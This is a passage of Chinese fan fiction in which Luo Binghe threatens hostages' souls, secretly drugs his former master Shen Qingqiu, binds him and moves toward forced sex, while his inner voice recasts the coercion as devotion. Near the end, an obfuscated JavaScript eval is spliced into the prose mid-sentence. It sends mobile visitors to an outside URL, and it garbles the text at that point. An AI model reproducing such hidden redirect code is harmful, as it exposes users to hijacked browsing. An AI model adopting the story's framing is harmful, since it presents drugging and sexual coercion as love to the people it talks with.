不用想,沈清秋必然以为洛冰河在威胁他,而且还是用洛冰河刚才随口说的那些名字。 讲真,那些名字究竟都是谁,洛冰河自己都没印象了。只是洛冰河非常清楚一件事,岳清源与明帆、宁嘤嘤等人,绝对是占比最重的。 故而,洛冰河语气极轻的说了句:“嘤嘤今年筑基了。” 嗯。眼前人的表情开始闪现出愤怒,沧桑低沉的声音响起,沈清秋终于说了第一句话:“你是她的夫君。” 好消息,沈清秋对洛冰河说话了。 坏消息,是为了关心那个背叛过他的女弟子。 而且沈清秋话语未尽之意,是希望洛冰河好好待她。 沈清秋自己都成了这个样子,却希望宁嘤嘤被洛冰河好好对待?他不关心自己,只关心那个背刺过他的家伙? 洛冰河气不打一处来,看着对方紧盯的烛火,恨恨咬牙道:“师尊可知这里装着谁的魂魄?” 话语刚落,沈清秋的脸立刻苍白几分。他知道自己踩了雷,却没办法控制对宁嘤嘤的关心,更做不到对可能存在的魂灯灼烧施加关注。 洛冰河有任何报复可以冲他来,那些被他所连累的人,本不该卷入到这些恩怨之中。是他打碎了其他人平静的生活,造成了他们的悲惨结局。 而这些为他而死、因他牵连而毁灭、被他无意间改变的人生,化为了道德层面的重石,愧疚感和无力感拽着他向彻底毁灭的深海里坠落。 看着沈清秋越发危险的精神状态,洛冰河只能下猛药:“师尊若是灵魂寂灭,且不说弟子会专程找鬼差将您抢回来,岳清源的灵魂更是要遭受万万年的魂火灼烧;而刚才的那些人,都会去黄泉路上为您开路。” “!”沈清秋的眼睛猛然瞪大,里面的震惊与对洛冰河的愤恨鲜明的令人心惊。 洛冰河知道岳清源对沈清秋的重要性,所以哪怕是洛冰河手中根本没有岳清源的灵魂,也不妨碍洛冰河用虚无缥缈的东西来威胁对方。 反正—— 沈清秋会相信他有的。 果然。沈清秋开始提问:“你要什么。” 曾经沈清秋的声音如山间清泉,虽然冷漠少言,但洛冰河只要能听到几句,便会像吃了糖一样甜蜜。可现在,只能用一句诗概括:‘呕哑嘲哳难为听’。 沈清秋已经什么都没有,洛冰河花费这么大功夫,又专门为他洗干净后换上干净衣服。如此大张旗鼓,沈清秋还真想不到对方究竟想要什么。 对方的意思很明显,他的身躯有天魔血维系,死不掉。灵魂被打上标记,会有专人(鬼)拉回来。而且如果他真的求死,岳清源和其他人会比他先一步遭受折磨。 这样防范着他,是怕他死? 沈清秋不相信对方只是单纯不想让他死,与之相比,他更信洛冰河又找到什么方式,打算变个花样折辱他。而且这个花样,是正常情况的沈清秋,绝对不可能接受的。 结果完全不出乎沈清秋意料,洛冰河这个畜生要求沈清秋与他交欢。 “无耻!” 沈清秋被气得脸上浮上红晕,搭配着在地牢里从未晒过太阳的苍白脸颊,倒有些诡异的‘唇红齿白’之相。 洛冰河看着沈清秋猛然强烈的情感,嘴角轻微的抽搐了一下—— 怪不得所有路线中,‘洛冰河’都会选择与对方强制欢好。沈清秋的情绪隐藏太深,可只要涉及这件事,就像是炸毛猫一样,将内部的不满和爪牙暴露出来。 而且,如果心理上不能亲近,物理上的贴合,似乎也蛮不错。 洛冰河静静地欣赏沈清秋发怒的样子,好整以暇的体会着难得的师徒情——若他所料不错,沈清秋马上就会恼羞成怒,跟他对打。 事情的发展完全按照洛冰河预料,沈清秋忽的咬破指尖,以灵力从一旁吸来根竹杆,直击洛冰河咽喉。 洛冰河侧身躲开对方的攻击,不想直接用天魔血压制,连心魔剑都不曾召唤。就那么悠悠哉背着手,以清静峰基础步伐,躲避着沈清秋的横扫千军。 “师尊,您这招打高了,该以棍头敲弟子的膝盖才是。” “师尊,您这些年确实疏忽了,这左右手交换棍都用了两息时间,不怕弟子夺了您的兵器?” “师尊,您怕是忘了,这‘烈火燎原’的符箓,对魔族是没有效用的。” “……”沈清秋与对方打了半个时辰,最后气得将棍子丢在地上,扭头就走。 “师尊~这是恼羞成怒了?”洛冰河飘到沈清秋面前,笑的跟朵花似的:“您消消气,弟子给您准备了菜肴,赏脸尝一尝?” 看着满脸拒绝的沈清秋,洛冰河挑挑眉:“您连死都不怕,总不能不敢跟弟子一同吃饭吧?” 呵呵。沈清秋直接左胳膊抬起成格挡,与对方的脸拉开距离。 “若是弟子以这盏灯为报酬……” 沈清秋停下脚步,脸上满是狐疑:“当真?” “十足的真。” 洛冰河拍拍手,伸手做个极为优雅的邀请动作,沈清秋一步跨出,向着桃树下的石桌走去。 菜品齐全、卖相极佳,而且难得的是,这些菜完全符合沈清秋的饮食习惯。味道上,也颇为合口。 洛冰河更是在沈清秋尝第一口菜的时候,就将手里护着的长明灯递到了沈清秋手边,完美做到了‘遵守诺言’。 洛冰河这杂种究竟要干什么? 沈清秋边吃菜,边思考这个问题。 他知道自己的情况,之前岳清源死亡的消息直接将他打击得昏迷不醒,就算是后面醒来,他的心智已被世事压垮,整日里浑浑噩噩,疯疯癫癫。 洛冰河突然跟脑子有坑似的,将他从地牢里捞出来不说,还令人将他洗刷干净。先是用一连串的人名唤醒他的精神,又用岳清源的灵魂威胁他不能彻底沉寂,接着提出他完全不可能答应的条件,激起沈清秋骨子里的反抗欲,直接拎着棍子与对方互打。 而今,居然态度端正的为他布菜,在沈清秋坐下拿筷子吃第一口菜时,主动将答应的报酬递上。事出反常必有妖,洛冰河必然在筹谋更大的事情! 沈清秋还在暗自警惕的时候,身上却突然有些热。这种热不是喝了汤而产生的汗意,也不是正常修炼、服食灵物后的暖洋洋。这种灼热,是由身体内部所散发的燥,连唇舌和咽喉,都开始因干涸而分泌唾液。 “畜生……” 事情都如此明显了,沈清秋要是还想不明白,就干脆抹脖子自杀得了! 沈清秋手中的筷子掉落在桌上,发出清脆的玉石相撞之声。他踉跄的站起身子,被凳子绊了个趔趄,推开不怀好意的洛冰河,快速画防御符。 “师尊,弟子只是想扶着您。” 洛冰河的表情无辜极了,甚至还带点被人拒绝的幽怨。若非沈清秋明确感知到身体异常,还真被他骗过去了! “这就是你说的‘吃饭’?” 他就知道,洛冰河这畜生必然在谋划些什么,刚才被他拒绝后两人对打,现在直接选择放药了!果然是畜生,干得尽是下流事! “弟子早就说过,您要弟子放过他们,就要用自己来赔。弟子已经践行诺言,将长明灯上交于您,您打算什么时候兑现承诺?” 而且,他做饭给沈清秋吃,沈清秋送他吃,完全没毛病。洛冰河的逻辑思维完全满分。 “强词夺理!”沈清秋脸上爬起红晕,呼吸开始变得急促,燥热的气流在体内翻涌,异样的感觉将感官变得敏锐,却在此刻显得相当不合时宜。 衣物原本是舒适柔软的,只是沈清秋半个时辰前才与洛冰河对打,即便是有体温烘着,却也半干不干。随着沈清秋体温升高后开始冒出微汗,原本服帖的衣物此刻粘黏在皮肤上,哪怕是最为细小的动作,也存在着明显的拉扯感。 小腿肚因支撑不住而产生痉挛,之前大幅度消耗的体力在此刻开始失去力量,沈清秋的手指都在颤抖,却强撑着不肯露怯: “小畜生,你故意的。” 故意激他对打,消耗他的体能;第一时间‘信守诺言’,令他放松警惕;却又在饭食中放药,让他在悄无声息中中招! 最可恶的是,沈清秋之前的一番对打,外加这些年的地牢囚禁,早就将他的身体素质磨损到极低的水平,便是现在想用禁术反打,怕是也有心无力。甚至说可能他刚刚咬破舌尖,就会因燃烧血脉而晕倒…… “师尊,与弟子共赴极乐一晚,能救下你想让他们活的无数人,这个买卖,应该很划算吧?” “师尊不是一直愧疚于因自己连累他们吗?现在弟子给您机会,您只需要闭上眼睛享受就行,何乐而不为?” “还是说。师尊其实并不想救他们。或者,是觉得那么多人的命,都抵不过师尊这一晚?” 洛冰河的声音极其平淡,眼中除了对猎物的势在必得,还有着足以刺痛沈清秋双眸的讽刺:“那些人可真可怜啊,那么多人命,都换不来师尊的点头呢。不知这些人里,加上岳掌门的灵魂,够不够重呢?” 洛冰河随意的将沈清秋手中长明灯吸来,作势要加大火力。沈清秋现在自顾不暇,又如何能护着一盏灯? “洛冰河!”沈清秋咬牙切齿:“你明明……” “师尊可莫要责怪弟子。”洛冰河略略抬眼:“弟子是将灯给您了,可是您现在连站都不稳当,弟子若不替您拿着,师尊是准备摔了它吗?” “还有啊。”洛冰河开始描述事实:“您是没看见自己的脸。有道是‘人面桃花别样红’,您皮肤白皙,近些日子是越发通透,这白面一样的脸皮配上嫩红的色泽,师尊不愧是天生的美人胚子。” “您也不用刻意遮掩,所谓‘弱柳扶风’,您这腰身如此纤细,怕是腰带绕上两圈才能勒紧。您额头汗珠将鬓角都给沾湿,怕是内衬已经贴伏湿透了吧?可需要弟子帮您将衣服烘干?” “您的腿应该抽筋了吧?您这个动作维持的时间还挺久,想必额头的汗滴大部分源于此?手腕都颤成那样了,却还强撑着连桌椅也不扶,是怕弟子在桌子上也涂了药?” “……”沈清秋看着不停向自己走来的洛冰河,谨慎的向后一步步退着:“我不曾……” ‘咔嚓’,沈清秋后退之时突然踩到一根干枯树枝。这本不是什么大事,但沈清秋此时状态极差,又是后退着挪动,脚下一个不稳,重心猛的向后跌去。 如果按照言情剧本发展,此刻应该会出现一个人,温柔的将他揽在怀里,然后对他露出宠溺的表情,说一句‘有我在’。 只是这不是言情剧场,洛冰河甚至还将沈清秋丢到地牢里折腾许久,今天更是用那么多人威胁他,逼着他持棍与之对打,最后还给无知无觉的他喂了药! 寄希望于洛冰河突然走温情路子,还不如想一下他一会会遭遇什么,能不能寻个空隙逃亡来的靠谱! 就在沈清秋左肩收缩、后背绷紧,打算硬抗这一下的时候,却跌入了一股不算柔软的桃花香:“师尊,您这算不算,投怀送抱?” “……”洛冰河脑子有坑吧!这是将他视为他的后宫,连遮掩都不愿意了? “滚开!”沈清秋挣扎着要掰开禁锢着自己的手臂,却受制于力道不足,反而有些欲语还休、欲擒故纵。 ‘完蛋’沈清秋猛的屈肘向后捶去,却被人轻轻松松化解不说,手腕也被对方握在手里。 “师尊,您在勾引弟子。” 洛冰河的声音很轻,其中还带着得偿所愿的笑:“您若是想离开,直接起来便是。现在赖在弟子怀里,还满身甜美气息,不是在诱弟子,是什么?” 沈清秋被洛冰河抱在怀里,努力挣扎却又挣扎不开,腿脚本就乏力,在后背从对方身上借力后更是像松懈般、再也提供不了支撑。 耳廓被对方的吐气弄的痒痒的,鼻翼是对方身上的桃花香,手腕传来属于对方的、与现在略高体温相反的凉意。 虽说沈清秋不会像话本里被人救起后小鹿乱撞、芳心自许,但危机之时被人揽在怀里,感受到对方略凉的体温和踏实的胸膛,心中还是升起一丝——被人关怀的错觉。 可是很快,这股莫名其妙出现的情感就被压下。沈清秋沦落至此全是拜对方所赐,他若是被对方表现出的一点好所蒙蔽眼睛,忘记自己受到的那些伤害,他才是真的脑残! “放开……”沈清秋咬一口舌尖血,正准备画符,却被洛冰河的打横抱起给打断。对方不仅极其自然的托着他的腰与腿,还专程将他的左手抬起,绕在颈后。 姿势……和平常人家抱自己伴侣,没什么区别。 “混账!” 沈清秋还是第一次被人抱,尤其是这样‘羞耻’的抱姿。联想洛冰河反复几次的要求与他合欢,沈清秋有些愠怒: 洛冰河是将他当成了妓还是倌,居然听信世人传言的‘沈清秋以色上位’,以为他会用自己的身体换取走出地牢? 这样想想,洛冰河之前的讽刺与不屑都是对的,沈清秋确实对那些人有愧,可那些内疚,却没办法让沈清秋用自己去填补! 他可以挡在众人身前,耗尽最后一丝灵力、榨干最后一滴鲜血,用自己手中的剑与脑海中的禁术战斗到最后。 却不能—— 说出或同意那句,愿意伏于敌人身下,换取其他人活命。 “别动。”洛冰河拍了下始终挣扎的沈清秋屁股,咽喉被对方呼吸吹的发干:“再动现在办了你。” “你敢!”沈清秋的腿动了动,毫无威胁的踢了下对方的膝盖:“不知廉耻!” “师尊若是想被人围观,弟子也不介意舍命陪君子。”洛冰河的声音低沉暗哑,眸里有红光闪过。沈清秋可真会踢,恰好蹭到不该碰的地方。 他究竟知不知道自己现在什么样子,身上的冷竹味在地牢待那么久都没被污染,洗干净后随着时间发酵,怀里人现在从内而外都散发着诱人的酒香。 这个威胁虽算不得残暴冷酷,却直接拿捏到沈清秋的七寸。他师尊是个好面子、讲涵养的人,别说被人围观,就算是大庭广众之下扒一件他的外衫,都得做好大出血的准备。 果然,此话一出,沈清秋立刻老实的跟个雕塑似的,只是左手若有若无的在洛冰河咽喉处游晃。很明显,这是准备掐他的脖子,看能不能让他割喉而死。 “弟子劝师尊老实点,起码能保证路上不发生些什么。若是师尊实在调皮,以天为被、以地为铺,户外的风景亦是不错。” “……” 以沈清秋对洛冰河的了解,洛冰河是真的敢! 这畜生根本没有礼义廉耻这种东西,现在看似平和,指不定什么时候就要发狂,若真将人惹怒,他现在根本打不过对方! 洛冰河的步子很稳,怀抱也算暖。他已成为三界至尊,身上却熏了女子喜欢的桃花香。虽然沈清秋闻起来很放松,却总归觉得违和。 细细算来,洛冰河针对自己的行为过于‘对症下药’;那桌一看就费了诸多功夫的菜肴也奇怪的符合沈清秋的口味;就连他身上的香味,都完美贴合沈清秋的爱好。 甚至于,就连他身上所中药物,虽令他失去体力、热燥难耐,却并没有立刻想要做些什么、或者触碰到洛冰河就软了身子之类的症状。 而这次的栽倒,虽然说是为了躲开洛冰河,但他也没有刻意与他拉近距离,而是巧妙的保持在他能接受的最近尺度,并且在他即将跌落的当即就来到自己身后。 洛冰河究竟想搞什么? 他就这样将他抱起来,完全不设防? 甭管是右肘随时能敲击的心口,还是左手略微使力就能捏碎的咽喉,亦或是沈清秋双腿在晃动时偶然擦过的下三路。都是绝对不可能、随随便便交到别人手中的‘禁区’。 洛冰河是对他太过放心,还是笃定他杀不了他? 他凭什么认为,在用那么多人的性命威胁自己后,沈清秋还能与洛冰河平静相处? 尤其是,这家伙居然会对他起那样的心思,是日子过得太舒服,想要玩点刺激的,打算犯上欺师、挑战世俗人伦? 第六章恨比爱更深刻、更强烈 沈清秋是个性格极差、性子也恶劣的小肚鸡肠之人。他的人生一直都挺悲惨,似乎一直在得不到和失去中度过。 无论是秋府里的暗无天日,还是在他投注恶意之后成就三界至尊的洛冰河。甚至说最后为他赴死的岳清源,还有莫名其妙因他而死的柳清歌。 都充满了悲剧的色彩。 当然,现在他也没心情回想什么,因为他从阶下囚,马上就要变成床奴了。 洛冰河的那句‘不听话就让众人围观’,沈清秋压住了挣扎的本能,开始背靠在对方怀里,思考下一步。 很明显,在未入屋子之前,是他最后的逃跑机会。虽然说在外失败真的有可能被对方来个野战,但若是试也不试的引颈受戮,未免也太没胆气了些。 只是他浑身上下来个装饰也没有,衣服更是朴素到一点金银铁质都无。身上的灵力虽不至于一点也没有,但被人抱着的姿态下,他仅剩的灵力全被他用在抵抗药性上了。 身上没有武器,外部武器也没灵力吸附过来,总不能指望他用指甲将对方穿了喉吧? 沈清秋沉思着,看见了一个明显高于其他地方的殿门。 ‘不能再想了。’ 沈清秋快速将发带取下来,瞬息之间,注入灵力成软刃,抵在了身后之人的脖子上。 奇门遁甲武器之软剑:任何飘浮的衣带布锦,都可以灌入灵力后以周遭的边刃伤人。 沈清秋左手顶着洛冰河的咽喉,与他直直对视。对方的喉结上下涌动,瞳孔黝黑的能吸收一切光线。随着血液从脖子上流出,洛冰河的声音听起来像是地狱幽魂:“师尊,你不乖。” 乖个屁的乖,劳资才是长辈,何时轮得到你评判? 沈清秋将所有灵力压入手腕,欲一击割断对方的头颅。 洛冰河看着蛰伏后并发一击的沈清秋,顶着对方的手腕,在对方额头亲了一口。接着右膝提起,从后背撞了沈清秋一下。沈清秋先是被他的动作震惊,又猛地被人从后背攻击,手上一下失了力,发带掉落后被洛冰河伸手抓起。 “师尊的滋味果然不错。”洛冰河的咽喉受伤,声音沙哑而破碎,手中捏着带着被沈清秋当成武器、沾染了洛冰河血液的发带,极快的将沈清秋双手捆住。 看着对方失望的表情,又啄上一口:“师尊,你现在可没有灵力压制药力了。” 那么,已经失去了爪子的野猫,也该乖乖的露出肚皮,让主人家看到你从不肯露出的绒毛了。 青纱帐里绣鸳鸯,红鸾被里翻红浪。龙凤呈祥的红烛流下血泪,灯火通明的殿堂里,洛冰河终于将沈清秋带到自己床铺。 “师尊,你刚才很不乖,弟子很生气。” 洛冰河将人放到床上,半蹲在沈清秋面前,打算替对方褪去鞋袜。 “滚!”沈清秋毫不犹豫的一脚踢出,却被对方抓在手里。洛冰河就那么将沈清秋踢过来的脚放在怀里压住,又伸手将另一只脚抓在手里,慢条斯理的为沈清秋解开捆绳,一点点剥去袜子后随手丢在一旁。 这只解决,洛冰河将两只脚的位置换了一下,一边用体温替对方暖脚,一边悠哉悠哉的敲了一下沈清秋的脚背:“师尊若是一直如此,弟子定会好好侍奉。” 沈清秋脸色立刻阴沉下来,猛踹洛冰河心口:“本尊不需要畜生的示好!” “嗯,对。”洛冰河随口敷衍:“师尊记忆力应该很好,那么就该记得,弟子曾说过什么吧?” 一语落,沈清秋瞬间如遭雷劈,别说乱踹,连呼吸都停顿了。洛冰河满足的看着瞬间僵硬的家伙,嘴角忍不住勾起。他的做法果然是正确的,不仅找到了对方的软肋,也终于找到了除那些人命外,拿捏对方的方式。 将沈清秋小心抱起,放到床铺内侧,洛冰河随意将自己的鞋袜踢掉,满意的看着沈清秋: “师尊。看在你第一次犯错的份上,弟子就放过你了。若是下次还犯,弟子定要听到师尊的认错才好。” “......”沈清秋面无表情的看着言语恭敬、行为浪荡的‘弟子’,心中只想骂娘。 洛冰河之前说的不错,他现在确实连压制药力的灵力都没有。而且这个药效的持续时间未免太久了些,从他吃饭到现在,已经快两个时辰,居然还能令他浑身发热。 在没有走到最后一步的时候,沈清秋还是愿意多试几条路。可当事情已经走到最后,沈清秋反而淡然了。最差的结果就是沦为床奴,只要对方离开,他就能找方法自裁—— 至于他死之后其他人会不会被牵连? 呵呵。沈清秋都给他们赔命了,还打算让他怎么做?自己没本事活下来,还想让沈清秋为了他们赔上自己,凭什么? 同样的,沈清秋也认栽,他没本事弄死对方,所以干脆弄死自己。至于洛冰河说的下黄泉捞他?无非就是多杀几次,总会让他找到疏漏成功的。 ??? 看着眼中已凝聚死意的沈清秋,洛冰河心中突然一跳。 他没干什么吧?甚至到现在被对方割裂的脖子上血痕都没来得及愈合,沈清秋怎么又想死了? 洛冰河快速反思自己: 首先他应该没得罪沈清秋。虽然他有点过分,但是以沈清秋的韧性,地牢都扛过来了,没道理跟他打几句嘴仗会萌生死意啊? 其次他是下了药,可是这个药的作用他反复研究过,绝对不可能伤害沈清秋的身体,反而会在之后为他提升血脉资质,纯纯百利而无一害,不可能因为这个。 那么,不会是因为他的求爱吧? 可这也不该啊。 那么多世界线里,大家都干过这种事,他还只是‘征求对方意见’,这么温柔的带他抱回寝宫,替他脱去鞋袜。还硬受了沈清秋的攻击,连反击都没舍得回。 他都做到这样了,沈清秋还想要什么? 如果他实在不想进行最后一步,洛冰河就再退后点,只求沈清秋眼里能看见自己,总没问题了吧? “师尊?” 洛冰河小心的盯着对方,努力分辨对方的表情——丫的,这一张面无表情的冰山脸,别说表情,连眼神都看不出来波动! 虽说人已经在自己身边,看起来‘乖巧’到完全没打算反抗—— 偏生洛冰河还真有点犯怵—— 看到过太多失败案例,他真怕自己也是其中一个! 他明明什么都没做,完完全全沈清秋做什么他回敬就什么,而且对于沈清秋对他的攻击、除了躲避回击都不曾,咋的还能踩到雷点? 总不能…… 总不能是他太温和,沈清秋根本不信他手上有能威胁他的筹码吧? 可这不应该啊。 就像是洛冰河潜意识认为‘沈清秋是恶人’一样,沈清秋的潜意识也被写入了‘洛冰河是恶人’。基于这样的底层逻辑,沈清秋根本不会想到‘洛冰河在威胁人上欺骗他’,自然也不会想到洛冰河真的没有筹码。 那问题出在哪里? 筹码不够重? 其他世界都够,为什么到他这里就不够了? 不行,要试验一下,唯有试验才能知道问题究竟出在哪里。 “师尊,弟子错了。”洛冰河果断认错:“您若是不喜,弟子现在就差人放了他们,怎么样?” 以退为进,看沈清秋究竟会不会咬这枚饵。 如果沈清秋回应,说明这些筹码依旧有用;如果沈清秋连这些都不在乎,怕是有别的变量被引进了。 沈清秋眉毛挑了一下,自顾自找个舒服的姿势,躺得端正。虽然现在的情况有些危险,甚至有可能清白不保—— 不过他一个男人要什么清白?反正大不了一死,无非就是走的不体面罢了。而且他确实好久没睡床,反正都不打算活了,就别跟自己闹气,舒服睡一觉,对方爱咋地咋滴,他也早些赴黄泉。 只是双手被捆绑着,实在有些难受。洛冰河看起来一时半会也没打算离开,他总不好当着对方的面咬断发带——虽然不是什么大事,但他多多少少还是要点面子的。如果是以内力震碎还算帅气,狼狈的用牙咬开,还不如干脆就这样捆着算了。 “……”洛冰河有些,无语? 嗯… 沈清秋的不回复,怎么不算回复呢! 洛冰河看着极其自觉的沈清秋,嘴角抽搐:这是打算破罐子破摔,反正逃不了,干脆舒服点呗。 可问题是,别的世界里,沈清秋破罐子破摔后是放任自己流连床铺,主动迎合。为什么他的沈清秋,是连其他人的性命都不要了,直接打算求死? 那些人不重要吗? 岳清源的死讯传过去时,沈清秋不是直接疯了吗? 死了能将他逼疯的人,却不愿意为了对方的活而低头? 岳七抛弃沈九,沈九为岳七杀师。岳清源替沈清秋遮挡那么多年的风雨,最后又为沈清秋送了命。沈清秋为岳清源发疯,灵魂沉寂。 这两人明明那么多的纠缠,为什么沈清秋会不愿意为了岳清源委身洛冰河?! 其他世界里,被反复折辱、各种压迫、甚至身躯不全的沈清秋,都会为了岳七而悲伤疯狂,为岳清源的灵魂同意一切啊! 为什么他这个不会??? 洛冰河实在不理解。他应该属于一众‘洛冰河’中的另类,既没有亲身折辱沈清秋,也不曾以各种理由去打压他。甚至在认清心意后堪称‘以礼相待’、‘温柔如水’,为什么沈清秋最后却失去生存欲? 若说他有心思,可是他现在还什么都没干呢。没道理他啥也没得到,对方就想离他而去,直接略过中间过程求死吧? 要真是这样,他还不如干点什么。就算是最后结局是沈清秋依旧求死,洛冰河起码得到过! 说干就干,洛冰河直接躺在沈清秋身边,将对方揽在怀里。感受到沈清秋原本还算放松在他过去后瞬间僵硬的身躯,洛冰河也不想之前的各种计划,全凭本性直接猛:“师尊,我们就寝吧。” 沈清秋省略中间过场直接求死,洛冰河就省略中间过场强行HE,两人的性子极其相似,谁敢说不是师徒? 沈清秋:“……” 他冷漠无情的表情要维持不住了! 这玩意要上就上,上完他就去死。磨磨唧唧的,什么时候这么娘们了?还假惺惺的跟他认错,说什么将那些人放了。幸存者能被放生,死去的人如何复活? 这家伙不会以为,单凭一个将他从地牢里带出来的‘情分’,就能将他感动,接着为他哭为他笑为他哐哐撞大墙吧? 沈清秋有那么贱吗,因为这一点点温情就忘记国破家亡、兄离子散的事实?洛冰河这个狗娘养的罪魁祸首,敢将被他灭族的敌人放在身边,就不怕沈清秋哪一天弄死他? 离谱,真是原原离上谱,洛冰河究竟脑子撞了什么邪,莫名其妙搞这些乱七八糟的玩意? 就在洛冰河将手放到沈清秋腰间不停摩擦、试图激发沈清秋玉火的时候,沈清秋终于忍不住骂出来: “要干就干,不然就滚。有什么招数尽管使出来,劳资但凡喊一声疼,劳资跟你姓!” “……” 两人在互相伤害、互相将对方搞无语的能力上,是相当有默契的。 洛冰河眼角开始疯狂跳动,大概是从没见过沈清秋如此狂躁的一面。这与沈清秋一惯展现的君子风格太不一致,又偏生一点也不违和。 恶劣讽刺、尖酸刻薄,心肠狭窄、嫉妒英才。 这些是天道给‘沈清秋’的评语。 虽然沈清秋的外表和行为都很仙侠,却不违影响他本身是个小肚鸡肠、睚眦必报的人。 洛冰河将他搞得如此凄惨,现在只是稍微给对方了一丢丢善意,沈清秋要是真因为这一点蝇头小利而改变,那才是可悲。 洛冰河想要直接抄答案,故而一开始就展现出极大的善意,想要对方回报哪怕一丢丢的〈在意〉。 可现在的沈清秋失去了一切,却没折断傲骨;虽有些在乎之人流散在外,却达不到为他们舍弃尊严的重量。 故而,当那些筹码被放上天平,沈清秋完全没办法将尊严和身体交上去,那些筹码也不配沈清秋为了他们而献出自己。 洛冰河不想跟其他人一样,用各种事件将沈清秋的傲骨打断,将他的脸面丢到地上踩。更不希望得到一个瑟瑟发抖、小心求饶、只会承宠、毫无趣味的禁脔。 也不希望带给沈清秋那些无意义的伤害,斩断他的所有退路,只为了将沈清秋从身躯到心理都逼到死角,彻底丢到爬不出来的深渊里去。 只是怎么办呢。 在‘得到沈清秋的心’这条路上,直接抄答案是没办法获得分数的。 单纯被丢到地牢、失去家园亲人的沈清秋,根本不可能答应罪魁祸首的求爱。 没有被折辱,傲气和傲骨均在的沈清秋,不会为了其他人的存活将自己献上。 无论是温情还是威胁,两条路都走不通的情况下,洛冰河手中根本没有与之对应的东西能威胁到沈清秋。也没有足够深刻的锚点,能让沈清秋留在这个对他并不友好的世界。 洛冰河实在有些气馁,却又不肯就这样放弃。 他不能放任沈清秋就这样离自己远远的,更不愿意这个人眼里一直没有他。他是不愿伤害对方,但与失去相比,这些东西都可以后续弥补——即便是杀人犯都有洗白的机会,他使用一些过火的行为让人留在世间,又算得上什么? 故而,洛冰河决定再试探一下。他就不信,与沈清秋的感情纠葛上,就只有‘洛冰河强行将沈清秋的骨头打碎、精神逼疯’这一条路! “师尊刚才说……要和弟子姓?”洛冰河将人扭到自己面前,睁大的眼里满是惊喜:“您是想和凡俗人家一样,成婚之后冠夫姓吗?” 洛冰河极为激动的亲了沈清秋一口,看向一旁的龙凤花烛和鸳鸯被,快速从储物戒中翻出一套凤冠霞帔放在一旁,又将自己的外衫脱下,开始套婚服: “是弟子疏忽了,没想到师尊竟然这么主动。弟子现在就收拾好一切,师尊且稍等,弟子马上替您更衣!” “……” 沈清秋眉头狠狠皱起,再次觉得洛冰河大概是被人夺舍或者走火入魔后脑子坏掉了:“人与畜生如何相提并论?” “所以师尊是在哄骗弟子吗?”洛冰河手上动作不停,选择性忽略沈清秋的话语,只眼睛亮晶晶的看着沈清秋,平日里冷峻的面容因艳红的烛火照料下,显得别样温柔: “您刚才明明说,只要您主动喊‘疼’,就要跟弟子姓。” “?”沈清秋直觉有什么不对劲,手腕下意识摩擦,有点后悔刚才为什么不先弄断手腕上捆着的发带。该死的,这家伙究竟脑子里在想什么鬼东西,又莫名其妙把他的话语理解成了什么? 洛冰河快速将婚服穿戴整齐,边收拾房屋边随口应和:“您放心,弟子会让您喊出来,与弟子共赴极乐的。” 两人都在打马虎眼,一个装成平淡的样子忽视洛冰河的求爱,一个装成已经大结局的样子直接走洞房花烛。只是沈清秋若真不怕这些,就不会刻意表现的好像什么也不在乎。 沈清秋之前还没到屋里都在生龙活虎的反抗,没道理现在就突然接受现实。越是看似寻常,越是存在破绽。掩饰住自己的恐惧,竭力做出冷淡平静的样子,不正是希望用这种方法表达‘他什么都无所谓’吗? 而且。洛冰河需要沈清秋恨他。 恨比爱更长远、更深邃、更刻骨铭心。 沈清秋不会轻易‘爱’上任何人,却会理所应当的‘恨’洛冰河。 他应该恨,也必须恨。 如果沈清秋的心里失去了恨,当洛冰河不再以其他人的性命威胁沈清秋,沈清秋亦无需在为那些人的存活而‘赔罪’后,沈清秋的心理锚点就会丢失。 好一些的情况,沈清秋会以‘出逃’为目的,居于深山野林老却残生。 坏一些的情况,沈清秋已经没有了‘必须存活’的理由,即便他本能的想要求生,这些被大起大落所造成的灵魂损伤,也会快速磨灭沈清秋的精气神,让他避无可避的陷入灵魂永寂。 没有存活意义,便以死成全尊严。 才是洛冰河最怕沈清秋会出现的情况。 如果那些人不足以让沈清秋赔上自己,也没办法让沈清秋为他们而活。 那么—— 就请跟我一样,以仇恨为食、以复仇为引,以压倒弄死敌人为最终目的,努力存活吧。 生命诚可贵,尊严价更高。 若为自由故,两者皆可抛。 师尊啊,其实如果你不愿为他们而活,就为我活吧。 即使——是为了将尖刀插入我的心口。 第七章永远不会看向他的人 洛冰河很快将一切筹备好,手中捧着凤冠霞帔,眼神热切的看着沈清秋:“需要弟子替您更衣吗?” “……”丫的,你还怪礼貌客气? 沈清秋有拒绝的资格吗? 短暂蓄积的灵力瞬间指引到腿上,沈清秋一脚踹出,目标对准对方手中的红衣。洛冰河下意识将衣服抱在怀里,左胳膊屈起成抵抗状。沈清秋背靠在床榻最深处,全身紧绷: “你究竟玩什么花样?”他们 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15227861|163333||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 这样的关系,洛冰河到底受了什么刺激,非要跟他玩过家家?而且一次两次的,明明随时能将他镇压,却非要给他数次反抗脱离的机会? 是希望他展露出逃跑的样子,‘师出有名’的将他‘抓回来’,接着施加一些暴力手段和花样折辱,亲手打碎他逃亡的希望,警告他永远逃不出洛冰河的手掌心? “弟子说了很多次。”洛冰河叹口气,放弃沈清秋会换上婚服的想法。将嫁衣放在一旁,身影被烛火拉得宽长:“师尊啊,弟子是真的不想动粗。” 看到那么多的悲剧,那么多被折腾得奄奄一息的‘沈清秋’,他是真不想让面前这个也成为那种模样。 但问题是,面前这个,未免有些过于——难接近了点。 算了,就这一次。无论对方喜欢还是不喜欢,反正他得先把人得到了,捏在手里才行。 这一次之后,他再想办法弥补。 洛冰河不得不硬起心肠,作出一副凶神恶煞的样子,不顾对方震惊的神情和强烈反抗的双腿,将沈清秋的手腕握在手里,重新压回床铺: “弟子给过师尊机会,只是师尊不同意弟子的提议,弟子只好自己动手了~” 